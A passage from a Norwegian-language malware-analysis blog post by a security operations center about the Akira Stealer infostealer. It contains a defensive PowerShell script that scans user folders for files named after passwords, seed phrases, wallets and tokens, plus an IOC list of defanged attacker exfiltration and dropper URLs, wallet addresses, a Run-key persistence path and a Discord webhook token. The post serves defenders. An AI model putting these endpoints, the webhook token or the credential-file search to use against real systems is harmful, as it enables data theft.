keywords in their name\n",[1683,11545,11546],{"class":1685,"line":3854},[1683,11547,11548],{},"      • Have an allowed file extension\n",[1683,11550,11551],{"class":1685,"line":3860},[1683,11552,11553],{},"      • Are not larger than 2 MB\n",[1683,11555,11556],{"class":1685,"line":4105},[1683,11557,11558],{},"    Presents the results in a colored, tabular overview.\n",[1683,11560,11561],{"class":1685,"line":5029},[1683,11562,3851],{"emptyLinePlaceholder":325},[1683,11564,11565],{"class":1685,"line":5035},[1683,11566,11567],{},".NOTES\n",[1683,11569,11570],{"class":1685,"line":5041},[1683,11571,11572],{},"    © glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach\n",[1683,11574,11575],{"class":1685,"line":5047},[1683,11576,11577],{},"#>\n",[1683,11579,11580],{"class":1685,"line":5053},[1683,11581,3851],{"emptyLinePlaceholder":325},[1683,11583,11584],{"class":1685,"line":5059},[1683,11585,11586],{},"# -------------------------------------\n",[1683,11588,11589],{"class":1685,"line":5065},[1683,11590,11591],{},"# 1. Configuration\n",[1683,11593,11594],{"class":1685,"line":5071},[1683,11595,11586],{},[1683,11597,11598],{"class":1685,"line":5077},[1683,11599,11600],{},"$scanFolders = @(\n",[1683,11602,11603],{"class":1685,"line":5083},[1683,11604,11605],{},"    \"$env:USERPROFILE\\Desktop\",\n",[1683,11607,11608],{"class":1685,"line":5089},[1683,11609,11610],{},"    \"$env:USERPROFILE\\Documents\",\n",[1683,11612,11613],{"class":1685,"line":5095},[1683,11614,11615],{},"    \"$env:USERPROFILE\\Downloads\",\n",[1683,11617,11618],{"class":1685,"line":5101},[1683,11619,11620],{},"    \"$env:USERPROFILE\\OneDrive\"\n",[1683,11622,11623],{"class":1685,"line":5107},[1683,11624,5248],{},[1683,11626,11627],{"class":1685,"line":5113},[1683,11628,11629],{},"$keywords   = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'\n",[1683,11631,11632],{"class":1685,"line":5780},[1683,11633,11634],{},"$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'\n",[1683,11636,11637],{"class":1685,"line":5785},[1683,11638,11639],{},"$maxSize    = 2MB\n",[1683,11641,11642],{"class":1685,"line":5790},[1683,11643,3851],{"emptyLinePlaceholder":325},[1683,11645,11646],{"class":1685,"line":5795},[1683,11647,11586],{},[1683,11649,11650],{"class":1685,"line":5801},[1683,11651,11652],{},"# 2. Scan and Collect Matches\n",[1683,11654,11655],{"class":1685,"line":5806},[1683,11656,11586],{},[1683,11658,11659],{"class":1685,"line":5811},[1683,11660,11661],{},"$matches = [System.Collections.Generic.List[PSObject]]::new()\n",[1683,11663,11664],{"class":1685,"line":5816},[1683,11665,3851],{"emptyLinePlaceholder":325},[1683,11667,11668],{"class":1685,"line":5821},[1683,11669,11670],{},"foreach ($folder in $scanFolders) {\n",[1683,11672,11673],{"class":1685,"line":5826},[1683,11674,11675],{},"    if (-not (Test-Path $folder)) { continue }\n",[1683,11677,11678],{"class":1685,"line":5831},[1683,11679,11680],{},"    Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {\n",[1683,11682,11683],{"class":1685,"line":5837},[1683,11684,11685],{},"        # 2.1 Extension filter\n",[1683,11687,11688],{"class":1685,"line":5843},[1683,11689,11690],{},"        if ($extensions -notcontains $_.Extension.ToLower()) { return }\n",[1683,11692,11693],{"class":1685,"line":5849},[1683,11694,11695],{},"        # 2.2 Size filter\n",[1683,11697,11698],{"class":1685,"line":5854},[1683,11699,11700],{},"        if ($_.Length -gt $maxSize) { return }\n",[1683,11702,11703],{"class":1685,"line":5859},[1683,11704,3851],{"emptyLinePlaceholder":325},[1683,11706,11707],{"class":1685,"line":5864},[1683,11708,11709],{},"        # 2.3 Keyword filter: explicit loop to avoid null-method calls\n",[1683,11711,11712],{"class":1685,"line":5869},[1683,11713,11714],{},"        $hit = $null\n",[1683,11716,11717],{"class":1685,"line":5875},[1683,11718,11719],{},"        foreach ($kw in $keywords) {\n",[1683,11721,11722],{"class":1685,"line":5880},[1683,11723,11724],{},"            if ($_.Name.ToLower().Contains($kw)) {\n",[1683,11726,11727],{"class":1685,"line":5885},[1683,11728,11729],{},"                $hit = $kw\n",[1683,11731,11732],{"class":1685,"line":5890},[1683,11733,11734],{},"                break\n",[1683,11736,11737],{"class":1685,"line":5895},[1683,11738,11739],{},"            }\n",[1683,11741,11742],{"class":1685,"line":5900},[1683,11743,11744],{},"        }\n",[1683,11746,11747],{"class":1685,"line":5905},[1683,11748,11749],{},"        if (-not $hit) { return }\n",[1683,11751,11752],{"class":1685,"line":5911},[1683,11753,3851],{"emptyLinePlaceholder":325},[1683,11755,11756],{"class":1685,"line":5917},[1683,11757,11758],{},"        # 2.4 Build relative path\n",[1683,11760,11761],{"class":1685,"line":5923},[1683,11762,11763],{},"        $rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)\n",[1683,11765,11766],{"class":1685,"line":5929},[1683,11767,3851],{"emptyLinePlaceholder":325},[1683,11769,11770],{"class":1685,"line":5934},[1683,11771,11772],{},"        # 2.5 Collect\n",[1683,11774,11775],{"class":1685,"line":5939},[1683,11776,11777],{},"        $matches.Add([PSCustomObject]@{\n",[1683,11779,11780],{"class":1685,"line":5945},[1683,11781,11782],{},"            FileName    = $_.Name\n",[1683,11784,11785],{"class":1685,"line":5951},[1683,11786,11787],{},"            Location    = $rel\n",[1683,11789,11790],{"class":1685,"line":5957},[1683,11791,11792],{},"            'Size (KB)' = [math]::Round($_.Length / 1KB, 1)\n",[1683,11794,11795],{"class":1685,"line":5963},[1683,11796,11797],{},"            Keyword     = $hit\n",[1683,11799,11800],{"class":1685,"line":5968},[1683,11801,11802],{},"        })\n",[1683,11804,11805],{"class":1685,"line":5973},[1683,11806,11807],{},"    }\n",[1683,11809,11810],{"class":1685,"line":5979},[1683,11811,2403],{},[1683,11813,11814],{"class":1685,"line":5984},[1683,11815,3851],{"emptyLinePlaceholder":325},[1683,11817,11818],{"class":1685,"line":5989},[1683,11819,11586],{},[1683,11821,11822],{"class":1685,"line":5995},[1683,11823,11824],{},"# 3. Display Results\n",[1683,11826,11827],{"class":1685,"line":6001},[1683,11828,11586],{},[1683,11830,11831],{"class":1685,"line":6007},[1683,11832,11833],{},"clear\n",[1683,11835,11836],{"class":1685,"line":6012},[1683,11837,11838],{},"Write-Host \"🔍 glueckkanja AG – Akira Stealer QuickCheck\" -ForegroundColor Cyan\n",[1683,11840,11841],{"class":1685,"line":6018},[1683,11842,11843],{},"Write-Host \"────────────────────────────────────────────────────────\" -ForegroundColor DarkCyan\n",[1683,11845,11846],{"class":1685,"line":6024},[1683,11847,3851],{"emptyLinePlaceholder":325},[1683,11849,11850],{"class":1685,"line":6029},[1683,11851,11852],{},"if ($matches.Count -gt 0) {\n",[1683,11854,11855],{"class":1685,"line":6035},[1683,11856,11857],{},"    $matches |\n",[1683,11859,11860],{"class":1685,"line":6041},[1683,11861,11862],{},"        Sort-Object Location, FileName |\n",[1683,11864,11865],{"class":1685,"line":6046},[1683,11866,11867],{},"        Format-Table -AutoSize `\n",[1683,11869,11870],{"class":1685,"line":6051},[1683,11871,11872],{},"            @{Label='File';       Expression={$_.FileName}},\n",[1683,11874,11875],{"class":1685,"line":6056},[1683,11876,11877],{},"            @{Label='Location';   Expression={$_.Location}},\n",[1683,11879,11880],{"class":1685,"line":6062},[1683,11881,11882],{},"            @{Label='Size (KB)';  Expression={$_. 'Size (KB)'}},\n",[1683,11884,11886],{"class":1685,"line":11885},79,[1683,11887,11888],{},"            @{Label='Keyword';    Expression={$_.Keyword}}\n",[1683,11890,11892],{"class":1685,"line":11891},80,[1683,11893,3851],{"emptyLinePlaceholder":325},[1683,11895,11897],{"class":1685,"line":11896},81,[1683,11898,11899],{},"    Write-Host \"`n⚠️  Total potential matches: $($matches.Count)\" -ForegroundColor Yellow\n",[1683,11901,11903],{"class":1685,"line":11902},82,[1683,11904,2403],{},[1683,11906,11908],{"class":1685,"line":11907},83,[1683,11909,11910],{},"else {\n",[1683,11912,11914],{"class":1685,"line":11913},84,[1683,11915,11916],{},"    Write-Host \"✅ No potentially compromised files found.\" -ForegroundColor Green\n",[1683,11918,11920],{"class":1685,"line":11919},85,[1683,11921,2403],{},[1683,11923,11925],{"class":1685,"line":11924},86,[1683,11926,3851],{"emptyLinePlaceholder":325},[1683,11928,11930],{"class":1685,"line":11929},87,[1683,11931,11932],{},"Write-Host \"`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach\" -ForegroundColor DarkGray\n",[1683,11934,11936],{"class":1685,"line":11935},88,[1683,11937,11938],{},"Write-Host \"Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis.\" -ForegroundColor DarkGray\n",[827,11940],{"className":11941},[830,831],[528,11943,11945],{"id":11944},"_12-utover-respons-slik-gjør-glueckkanja-csoc-hendelser-om-til-innsikt","12. Utover respons - slik gjør glueckkanja CSOC hendelser om til innsikt",[533,11947,535],{},[533,11949,11950,11951],{},"De fleste security operations centers stopper ved containment.\n",[540,11952,11953],{},"Vi gjør ikke det.",[533,11955,11956],{},"Hos glueckkanja CSOC mener vi at incident response ikke er målstreken, den er startpunktet.",[533,11958,11959],{},"Når andre erklærer seier og går videre, graver vi dypere. For oss er hver hendelse en anledning til å lære, tilpasse oss og bli sterkere. Den utrettelige nysgjerrigheten vår, drevet av mange år med dyp forensisk kompetanse og reverse engineering-kapasitet, gjør at vi ikke bare forsvarer, vi forutser.",[533,11961,11962,11963,586],{},"Denne tenkningen er grunnen til at vi bygde ",[540,11964,11965],{},"Akira Compromise Reporter",[533,11967,11968],{},"Dette forensiske verktøyet er utviklet internt, og det går langt utover grunnleggende deteksjon: det bruker vår inngående kunnskap om Akira Stealer til å gi full klarhet i hvilke data som er kompromittert. I løpet av minutter produserer det et presist og handlingsrettet øyeblikksbilde av hele omfanget av hendelsen:",[604,11970,11971,11974,11977],{},[607,11972,11973],{},"Nøyaktig hvilke credentials, tokens og nettlesersesjoner som ble stjålet.",[607,11975,11976],{},"Nøyaktig hvilke kryptovaluta-lommebøker, meldingskontoer og filer som ble eksponert.",[607,11978,11979],{},"En tydelig, strukturert og detaljert forensisk rapport som gjør usikkerhet om til umiddelbar, velinformert handling.",[533,11981,11982],{},[748,11983],{"alt":11984,"src":11985},"Akira Compromise Report","https://res.cloudinary.com/c4a8/image/upload/v1749796758/blog/pics/akira-compromise-report.png",[533,11987,11988],{},"For hos glueckkanja måler vi suksessen vår ikke bare i antall blokkerte trusler, men i den klarheten vi gir. Cybersikkerhet gjort riktig handler ikke om bare å reagere på hendelser, det handler om å forstå, tilpasse seg og alltid ligge ett skritt foran.",[533,11990,11991],{},[540,11992,11993],{},"Det er forskjellen med glueckkanja CSOC.",[528,11995,11997],{"id":11996},"_13-indicators-of-compromise-iocs","13. Indicators of Compromise (IOCs)",[533,11999,535],{},[533,12001,12002],{},"Under følger en omfattende, ordrett samling av IOC-er hentet direkte ut av malware-koden under vår interne reverse engineering-prosess hos glueckkanja CSOC. Ingen antakelser eller eksterne threat intel-kilder er brukt, alle indikatorer er bekreftede funn. Alle URL-er er obfuskert med vilje for å hindre klikk ved et uhell.",[533,12004,12005],{},[540,12006,12007],{},"Abbreviations:",[604,12009,12010,12016],{},[607,12011,12012,12015],{},[540,12013,12014],{},"TG:"," Telegram reporting channel",[607,12017,12018,12021],{},[540,12019,12020],{},"Alt:"," Alternate (fallback) endpoint",[714,12023,12025],{"id":12024},"_1-domener-og-url-er","1. Domener og URL-er",[533,12027,720],{},[1391,12029,4684,12031],{"className":12030,"style":11105},[11104],[1407,12032,12033,4684,12046,4684,12059,4684,12072,4684,12085,4684,12098,4684,12111,4684,12124,4684,12139,4684,12155,4684,12168,4684,12181,4684,12194,4684,12207,4684,12220,4684,12233,4684,12246,4684,12259,4684,12272,4684,12285,4684,12299,4684,12312],{},[1397,12034,4689,12035,4689,12039,4689,12043,4684],{},[1400,12036,12038],{"style":12037},"text-align: left; width: 18%;","Kategori",[1400,12040,12042],{"style":12041},"text-align: left; width: 52%;","Obfuskert URL",[1400,12044,12045],{},"Beskrivelse",[1397,12047,4689,12048,4689,12051,4689,12056,4684],{},[1412,12049,12050],{},"Primær injeksjon",[1412,12052,12053],{},[551,12054,12055],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php",[1412,12057,12058],{},"Angriperens første webhook-endepunkt",[1397,12060,4689,12061,4689,12064,4689,12069,4684],{},[1412,12062,12063],{},"Fallback-injeksjon",[1412,12065,12066],{},[551,12067,12068],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php",[1412,12070,12071],{},"Alternativt injector-endepunkt",[1397,12073,4689,12074,4689,12077,4689,12082,4684],{},[1412,12075,12076],{},"Feilrapportering (TG)",[1412,12078,12079],{},[551,12080,12081],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php",[1412,12083,12084],{},"URL for Telegram-feilmeldinger og logger",[1397,12086,4689,12087,4689,12090,4689,12095,4684],{},[1412,12088,12089],{},"Feilrapportering (Alt)",[1412,12091,12092],{},[551,12093,12094],{},"https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php",[1412,12096,12097],{},"Alternativ URL for feilmeldinger og logger",[1397,12099,4689,12100,4689,12103,4689,12108,4684],{},[1412,12101,12102],{},"Vanity-bot (TG)",[1412,12104,12105],{},[551,12106,12107],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php",[1412,12109,12110],{},"Endepunkt for varsling om vanity-adresser",[1397,12112,4689,12113,4689,12116,4689,12121,4684],{},[1412,12114,12115],{},"Vanity-bot (Alt)",[1412,12117,12118],{},[551,12119,12120],{},"https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php",[1412,12122,12123],{},"Alternativt endepunkt for vanity-varsling",[1397,12125,4689,12126,4689,12129,4689,12134,4684],{},[1412,12127,12128],{},"Exodus-injeksjon",[1412,12130,12131],{},[551,12132,12133],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar",[1412,12135,12136,12137],{},"Electron-appmodul for ",[551,12138,4587],{},[1397,12140,4689,12141,4689,12144,4689,12149,4684],{},[1412,12142,12143],{},"Atomic-injeksjon",[1412,12145,12146],{},[551,12147,12148],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar",[1412,12150,12151,12152],{},"Electron-modul for ",[551,12153,12154],{},"AtomicWallet",[1397,12156,4689,12157,4689,12160,4689,12165,4684],{},[1412,12158,12159],{},"Nedlasting av Updater",[1412,12161,12162],{},[551,12163,12164],{},"https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe",[1412,12166,12167],{},"Kjørbar persistence-dropper",[1397,12169,4689,12170,4689,12173,4689,12178,4684],{},[1412,12171,12172],{},"Gofile API-liste",[1412,12174,12175],{},[551,12176,12177],{},"https[:]//api.gofile[.]io/servers",[1412,12179,12180],{},"Henter beste GoFile-opplastingsserver",[1397,12182,4689,12183,4689,12186,4689,12191,4684],{},[1412,12184,12185],{},"Sjekk av Discord-token",[1412,12187,12188],{},[551,12189,12190],{},"https[:]//discordapp[.]com/api/v9/users/@me",[1412,12192,12193],{},"Validerer stjålet Discord-token",[1397,12195,4689,12196,4689,12199,4689,12204,4684],{},[1412,12197,12198],{},"Discord faktureringsinfo",[1412,12200,12201],{},[551,12202,12203],{},"https[:]//discord[.]com/api/users/@me/billing/payment-sources",[1412,12205,12206],{},"Henter betalingsmetoder",[1397,12208,4689,12209,4689,12212,4689,12217,4684],{},[1412,12210,12211],{},"Replay av Google OAuth",[1412,12213,12214],{},[551,12215,12216],{},"https[:]//accounts[.]google[.]com/oauth/multilogin",[1412,12218,12219],{},"Spiller av stjålne Google-sesjonstokens",[1397,12221,4689,12222,4689,12225,4689,12230,4684],{},[1412,12223,12224],{},"IP-sjekk (hosting)",[1412,12226,12227],{},[551,12228,12229],{},"http[:]//ip-api[.]com/line/?fields=hosting",[1412,12231,12232],{},"Deteksjon av hosting-miljø",[1397,12234,4689,12235,4689,12238,4689,12243,4684],{},[1412,12236,12237],{},"IP-oppslag (geo)",[1412,12239,12240],{},[551,12241,12242],{},"http[:]//ip-api[.]com/json/{ip}",[1412,12244,12245],{},"Geolokalisering etter IP",[1397,12247,4689,12248,4689,12251,4689,12256,4684],{},[1412,12249,12250],{},"Henting av offentlig IP",[1412,12252,12253],{},[551,12254,12255],{},"https[:]//api[.]ipify[.]org",[1412,12257,12258],{},"Henter ekstern IP-adresse",[1397,12260,4689,12261,4689,12264,4689,12269,4684],{},[1412,12262,12263],{},"File.io-opplasting",[1412,12265,12266],{},[551,12267,12268],{},"https[:]//file[.]io/",[1412,12270,12271],{},"Sekundær eksfiltreringskanal",[1397,12273,4689,12274,4689,12277,4689,12282,4684],{},[1412,12275,12276],{},"Oshi.at-opplasting",[1412,12278,12279],{},[551,12280,12281],{},"http[:]//oshi[.]at/",[1412,12283,12284],{},"Tertiær eksfiltreringskanal",[1397,12286,4689,12287,4689,12290,4689,12296,4684],{},[1412,12288,12289],{},"JS-dropper, primær",[1412,12291,12292],{},[693,12293,12295],{"href":12294,"target":330},"https://rentry.co/7vzd22fg36hfdd33/raw","https[:]//rentry[.]co/7vzd22fg36hfdd33/raw",[1412,12297,12298],{},"Ekstern referanse til den faktiske ZIP-URL-en",[1397,12300,4689,12301,4689,12304,4689,12309,4684],{},[1412,12302,12303],{},"JS-dropper, fallback 1",[1412,12305,12306],{},[693,12307,12308],{"href":3598,"target":330},"https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip",[1412,12310,12311],{},"Alternativ payload-ZIP",[1397,12313,4689,12314,4689,12317,4689,12322,4684],{},[1412,12315,12316],{},"JS-dropper, fallback 2",[1412,12318,12319],{},[693,12320,12321],{"href":3603,"target":330},"https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip",[1412,12323,12324],{},"Sekundær reserve-payload-ZIP",[827,12326],{"className":12327},[830,831],[714,12329,12331],{"id":12330},"_2-kryptovaluta-adresser","2. Kryptovaluta-adresser",[533,12333,720],{},[1391,12335,4684,12337],{"className":12336,"style":11105},[11104],[1407,12338,12339,4684,12347,4684,12357,4684,12367,4684,12377,4684,12386,4684,12396,4684,12406,4684,12416,4684,12426,4684,12436],{},[1397,12340,4689,12341,4689,12344,4684],{},[1400,12342,12343],{"style":11116},"Valuta",[1400,12345,12346],{},"Adresse",[1397,12348,4689,12349,4689,12352,4684],{},[1412,12350,12351],{},"BTC",[1412,12353,12354],{},[551,12355,12356],{},"bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt",[1397,12358,4689,12359,4689,12362,4684],{},[1412,12360,12361],{},"ETH",[1412,12363,12364],{},[551,12365,12366],{},"0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5",[1397,12368,4689,12369,4689,12372,4684],{},[1412,12370,12371],{},"DOGE",[1412,12373,12374],{},[551,12375,12376],{},"DACeoqWDPmNARSZAeDZPFwqwecbByaksmd",[1397,12378,4689,12379,4689,12382,4684],{},[1412,12380,12381],{},"LTC",[1412,12383,12384],{},[551,12385,11147],{},[1397,12387,4689,12388,4689,12391,4684],{},[1412,12389,12390],{},"XMR",[1412,12392,12393],{},[551,12394,12395],{},"4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D",[1397,12397,4689,12398,4689,12401,4684],{},[1412,12399,12400],{},"BCH",[1412,12402,12403],{},[551,12404,12405],{},"qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs",[1397,12407,4689,12408,4689,12411,4684],{},[1412,12409,12410],{},"DASH",[1412,12412,12413],{},[551,12414,12415],{},"XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1",[1397,12417,4689,12418,4689,12421,4684],{},[1412,12419,12420],{},"TRX",[1412,12422,12423],{},[551,12424,12425],{},"TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK",[1397,12427,4689,12428,4689,12431,4684],{},[1412,12429,12430],{},"XRP",[1412,12432,12433],{},[551,12434,12435],{},"r36AwwhUH7BRujevi5mukbDrG46KGbTk8V",[1397,12437,4689,12438,4689,12441,4684],{},[1412,12439,12440],{},"XLM",[1412,12442,12443],{},[551,12444,12445],{},"GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33",[827,12447],{"className":12448},[830,831],[714,12450,12452],{"id":12451},"_3-registernøkler-og-stier","3. Registernøkler og stier",[533,12454,720],{},[1391,12456,4684,12458],{"className":12457,"style":11105},[11104],[1407,12459,12460,4684,12468,4684,12478,4684,12488,4684,12501],{},[1397,12461,4689,12462,4689,12466,4684],{},[1400,12463,12465],{"style":12464},"text-align: left; width: 60%;","Registersti",[1400,12467,1184],{},[1397,12469,4689,12470,4689,12475,4684],{},[1412,12471,12472],{},[551,12473,12474],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc",[1412,12476,12477],{},"Ser etter signatur for virtuell GPU-driver",[1397,12479,4689,12480,4689,12485,4684],{},[1412,12481,12482],{},[551,12483,12484],{},"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName",[1412,12486,12487],{},"Ser etter navnet på virtuell GPU-leverandør",[1397,12489,4689,12490,4689,12498,4684],{},[1412,12491,12492,12495,12496,1113],{},[551,12493,12494],{},"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run"," (verdi ",[540,12497,1663],{},[1412,12499,12500],{},"Persistence via Run-nøkkel (Updater.exe)",[1397,12502,4689,12503,4689,12507,4684],{},[1412,12504,12505],{},[551,12506,1671],{},[1412,12508,12509],{},"Kjørbar fil for persistence",[827,12511],{"className":12512},[830,831],[714,12514,12516],{"id":12515},"_5-filer-og-hasher","5. Filer og hasher",[533,12518,720],{},[1391,12520,4684,12522],{"className":12521,"style":11105},[11104],[1407,12523,12524,4684,12536,4684,12548,4684,12560,4684,12573,4684,12585,4684,12597,4684,12609,4684,12621,4684,12634,4684,12646,4684,12659,4684,12671],{},[1397,12525,4689,12526,4689,12529,4689,12533,4684],{},[1400,12527,12528],{"style":12037},"Filnavn",[1400,12530,12532],{"style":12531},"text-align: left; width: 62%;","SHA256",[1400,12534,12535],{},"Størrelse (bytes)",[1397,12537,4689,12538,4689,12540,4689,12545,4684],{},[1412,12539,1825],{},[1412,12541,12542],{},[551,12543,12544],{},"331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380",[1412,12546,12547],{},"63936274",[1397,12549,4689,12550,4689,12552,4689,12557,4684],{},[1412,12551,578],{},[1412,12553,12554],{},[551,12555,12556],{},"C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B",[1412,12558,12559],{},"162036224",[1397,12561,4689,12562,4689,12565,4689,12570,4684],{},[1412,12563,12564],{},"jscrypter.js",[1412,12566,12567],{},[551,12568,12569],{},"0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF",[1412,12571,12572],{},"1429",[1397,12574,4689,12575,4689,12577,4689,12582,4684],{},[1412,12576,2814],{},[1412,12578,12579],{},[551,12580,12581],{},"1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343",[1412,12583,12584],{},"30138",[1397,12586,4689,12587,4689,12589,4689,12594,4684],{},[1412,12588,2811],{},[1412,12590,12591],{},[551,12592,12593],{},"E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7",[1412,12595,12596],{},"7155",[1397,12598,4689,12599,4689,12601,4689,12606,4684],{},[1412,12600,2739],{},[1412,12602,12603],{},[551,12604,12605],{},"972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6",[1412,12607,12608],{},"211",[1397,12610,4689,12611,4689,12613,4689,12618,4684],{},[1412,12612,582],{},[1412,12614,12615],{},[551,12616,12617],{},"850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4",[1412,12619,12620],{},"205210",[1397,12622,4689,12623,4689,12626,4689,12631,4684],{},[1412,12624,12625],{},"exodus.asar",[1412,12627,12628],{},[551,12629,12630],{},"6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB",[1412,12632,12633],{},"132486332",[1397,12635,4689,12636,4689,12638,4689,12643,4684],{},[1412,12637,1883],{},[1412,12639,12640],{},[551,12641,12642],{},"10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910",[1412,12644,12645],{},"28454",[1397,12647,4689,12648,4689,12651,4689,12656,4684],{},[1412,12649,12650],{},"download.dat",[1412,12652,12653],{},[551,12654,12655],{},"C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B",[1412,12657,12658],{},"21142",[1397,12660,4689,12661,4689,12663,4689,12668,4684],{},[1412,12662,2872],{},[1412,12664,12665],{},[551,12666,12667],{},"E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7",[1412,12669,12670],{},"32375391",[1397,12672,4689,12673,4689,12675,4689,12680,4684],{},[1412,12674,574],{},[1412,12676,12677],{},[551,12678,12679],{},"36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0",[1412,12681,12682],{},"37652937",[827,12684],{"className":12685},[830,831],[714,12687,12689],{"id":12688},"_5-discord-og-telegram-identifikatorer","5. Discord- og Telegram-identifikatorer",[533,12691,720],{},[1391,12693,4684,12695],{"className":12694,"style":11105},[11104],[1407,12696,12697,4684,12703,4684,12713,4684,12723],{},[1397,12698,4689,12699,4689,12701,4684],{},[1400,12700,12038],{"style":6302},[1400,12702,1405],{},[1397,12704,4689,12705,4689,12708,4684],{},[1412,12706,12707],{},"Discord webhook-ID",[1412,12709,12710],{},[551,12711,12712],{},"1226766972675428372",[1397,12714,4689,12715,4689,12718,4684],{},[1412,12716,12717],{},"Discord webhook-token",[1412,12719,12720],{},[551,12721,12722],{},"BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz",[1397,12724,4689,12725,4689,12728,4684],{},[1412,12726,12727],{},"Telegram-ID",[1412,12729,12730],{},[551,12731,12732],{},"5035121855",[827,12734],{"className":12735},[830,831],[528,12737,12739],{"id":12738},"_14-tilbakeblikk-på-akira-stealer-hendelsen-styrk-forsvaret-ditt-med-glueckkanja-csoc","14. Tilbakeblikk på Akira Stealer-hendelsen: styrk forsvaret ditt med glueckkanja CSOC",[533,12741,535],{},[533,12743,12744],{},"Gjennom denne artikkelen har vi gått inn i den avanserte naturen til Akira-infostealeren, en trussel kjennetegnet av målrettet credential-tyveri, stillegående dataeksfiltrering og vedvarende metoder for å unngå tradisjonelt forsvar. Å forstå hvordan denne malwaren virker, hvilken risiko den utgjør og hvilke svakheter den utnytter, er avgjørende for å bygge en solid sikkerhetsstrategi.",[533,12746,12747],{},"Akira-infostealeren sikter seg spesifikt inn på sensitive data som påloggingsopplysninger, nettlesersesjoner, kryptovaluta-lommebøker, meldingstjenester og personlige eller virksomhetsinterne filer. De kalkulerte og presise metodene krever mer enn standard sikkerhetstiltak: de krever kontinuerlig overvåking, grundig forensisk analyse og proaktiv threat intelligence.",[533,12749,12750],{},"Hos glueckkanja CSOC bruker vi den dype tekniske kompetansen og de avanserte analysemulighetene våre til å komme lenger enn enkel deteksjon. Spesialistteamet vårt overvåker trusler i sanntid fra våre egne CSOC-servere, slik at trusler som Akira-infostealeren kan identifiseres umiddelbart, undersøkes grundig og nøytraliseres effektivt.",[533,12752,12753],{},"Men arbeidet vårt stopper ikke ved incident response. Hver hendelse vi oppdager, beriker kunnskapsbasen vår, styrker sikkerhetsnivået og sørger for at vi holder oss flere skritt foran fremtidige trusler. Med glueckkanja CSOC får du mer enn beskyttelse, du får en tilpasningsdyktig sikkerhetspartner som er forpliktet til robustheten din på lang sikt.",[533,12755,12756],{},"Ta neste steg i sikringen av organisasjonens digitale verdier.",[533,12758,12759],{},"Kontakt cybersikkerhetsekspertene i glueckkanja i dag, og la oss sikre fremtiden din proaktivt sammen.",[533,12761,12762],{},[540,12763,12764],{},"Styrk forsvaret ditt med glueckkanja CSOC.",[528,12766,12768],{"id":12767},"_15-sikkerhets-og-juridisk-ansvarsfraskrivelse-bruk-av-reell-malware-kode","15. Sikkerhets- og juridisk ansvarsfraskrivelse - bruk av reell malware-kode",[533,12770,535],{},[533,12772,12773],{},"Denne publikasjonen inneholder detaljert teknisk innsikt, inkludert kodeutdrag og gjennomganger av atferd hentet fra faktisk skadelig programvare som ble oppdaget under incident response og forensiske undersøkelser. Formålet med å dele denne informasjonen er utelukkende pedagogisk, og skal hjelpe profesjonelle forsvarere med å forstå, oppdage og håndtere reelle trusler mer effektivt. Vi publiserer dette i god tro og med ønske om å bidra til sikkerhetsmiljøet som helhet.",[533,12775,12776],{},"Det er viktig å merke seg at deler av koden som er gjengitt, stammer fra verktøysett til trusselaktører og fra malware-sampler i sirkulasjon. Disse fragmentene er ikke vår immaterielle eiendom, og de skal heller ikke anses som trygge, renset eller \"harmløse\" på noen måte. Vi fraråder uttrykkelig å gjengi eller ta slik kode i bruk operativt. Leseren må forstå at selv 